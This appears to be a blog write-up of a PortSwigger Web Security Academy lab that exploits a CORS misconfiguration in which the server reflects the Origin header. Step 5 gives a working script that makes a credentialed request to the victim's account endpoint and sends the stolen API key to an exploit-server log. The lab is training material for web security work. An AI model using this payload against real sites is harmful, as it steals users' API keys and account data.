It’s time to get back to the labs on PortSwigger Web Security Academy. For this lab, we’re dealing with a CORS vulnerability with Origin reflection. We’re dealing with Same-Origin Policy and Cross-Origin. Here’s a few reference links for additional content:
- Same-Origin Policy: Understanding Same-Origin Policy (SOP) – Scomurr’s Blog
- Cross-Origin – W3C: Fetch Standard
Labs
- Reflected Origin: (This lab) https://sc.scomurr.com/cors-vulnerability-with-origin-reflection/
- Null Origin: https://sc.scomurr.com/cors-vulnerability-with-null-origin/
- Trusted Insecure Protocols: Coming Soon
What is CORS?
Cross-Origin Resource Sharing (CORS) is a security mechanism built into and enforced by web browsers that allows a server to specify which origins (domains) are permitted to access its resources. For example, https://api.jhgfdsa.com
would most likely have an Access-Control-Allow-Origin header to allow other domains to call the hosted APIs. Since this is the API subdomain, it might return CORS headers like this on a request:
Access-Control-Allow-Origin: https://jhgfdsa.com
Access-Control-Allow-Credentials: true
CORS is implemented through HTTP headers such as Access-Control-Allow-Origin
and controls cross-origin requests made by web applications using JavaScript. In the case above, the parent domain (https://jhgfdsa.com
) is allowed to access the APIs on https://api.jhgfdsa.com
if responses from the subdomain contain the headers above. CORS helps prevent unauthorized access to sensitive data while enabling secure resource sharing between trusted origins.
Lab: https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
Lab: CORS vulnerability with basic origin reflection
This particular lab deals with improper CORS headers in that the Access-Control-Allow-Origin does reflection. Why would this header ever be reflected? Might have been part of a dev with the intent to go back and fix. Might just be a misunderstanding on how CORS works. Regardless, if there is reflection then the CORS policy is essentially moot.
Let’s get to the lab!
Step 1: Fire up Burp and Navigate to the site via Burp’s built in Chromium Browser:
![Portswigger Web Security Academy lab on CORS vulnerability with basic origin reflection](https://sc.scomurr.com/wp-content/uploads/2024/12/image-5.png)
Step 2: Log into My account with the provided creds – this drops us on a page with our own API key
![logged in account page for the test user](https://sc.scomurr.com/wp-content/uploads/2024/12/image-6.png)
Step 3: Let’s look in Burp proxy log for the Account Details call:
![results of the call to /accountDetails for the test user](https://sc.scomurr.com/wp-content/uploads/2024/12/image-8.png)
We can see the Access-Control-Credentials header, but not the Access-Control-Allow-Origin header. Let’s see if we can get Origin reflection (based on the name of the lab).
Step 4: Test reflection by providing an origin header as part of the request. Sent to repeater, add Origin and send:
![Burp showing origin header in request being reflected in Access-Control-Allow-Origin header response](https://sc.scomurr.com/wp-content/uploads/2024/12/image-9.png)
This is crazy! This is definitely not a best practice and definitely something to be avoided. This means we can bypass Same-Origin policy simply by providing the Origin
header in the request.
Step 5: On to the exploit server. Essentially, we need
- A fetch to the /accountDetails endpoint
- With an origin header (as seen above) pointed at wherever I can log (exploit server)
- With credentials included (because /accountDetails is an authenticated endpoint)
- Harvest the response (which the reflect CORS allows)
- Send the apiKey part of that response to my log
<script>
fetch('https://<lab>.web-security-academy.net/accountDetails', {
method: 'GET',
credentials: 'include',
headers: {
'Origin': 'https://exploit-<exploit>.exploit-server.net'
}
})
.then(response => response.json())
.then(data => {
const apiKey = data.apikey;
fetch(`https://exploit-<exploit>.exploit-server.net/log?apiKey=${apiKey}`);
});
</script>
![payload in the exploit server showing the buttons for store, view exploit, deliver exploit to victim, and access log](https://sc.scomurr.com/wp-content/uploads/2024/12/image-10.png)
Store the response
Step 6: Test on myself. All we have to do is click View exploit:
![shows the apiKey for the test user in the log](https://sc.scomurr.com/wp-content/uploads/2024/12/image-11.png)
There’s my apiKey!
Step 7: Deliver exploit to victim and then refresh the log:
![shows the apiKey for the victim user in the log](https://sc.scomurr.com/wp-content/uploads/2024/12/image-12.png)
And there it is!
Step 8: Submit – solved!
![screenshot of the solved widget from the lab](https://sc.scomurr.com/wp-content/uploads/2024/12/image-13.png)
Conclusion
When doing bug bounty, checking for something like reflection is very easy. All we had to do was to provide the Origin
header in this case to see the reflection. Always watch for if different headers that can be provided client side cause different outputs in the response. In this case, the difference was easy to spot.
A properly configured CORS policy along with a solid CSP can go a long ways towards minimizing a website’s attack surface.
Happy Hacking!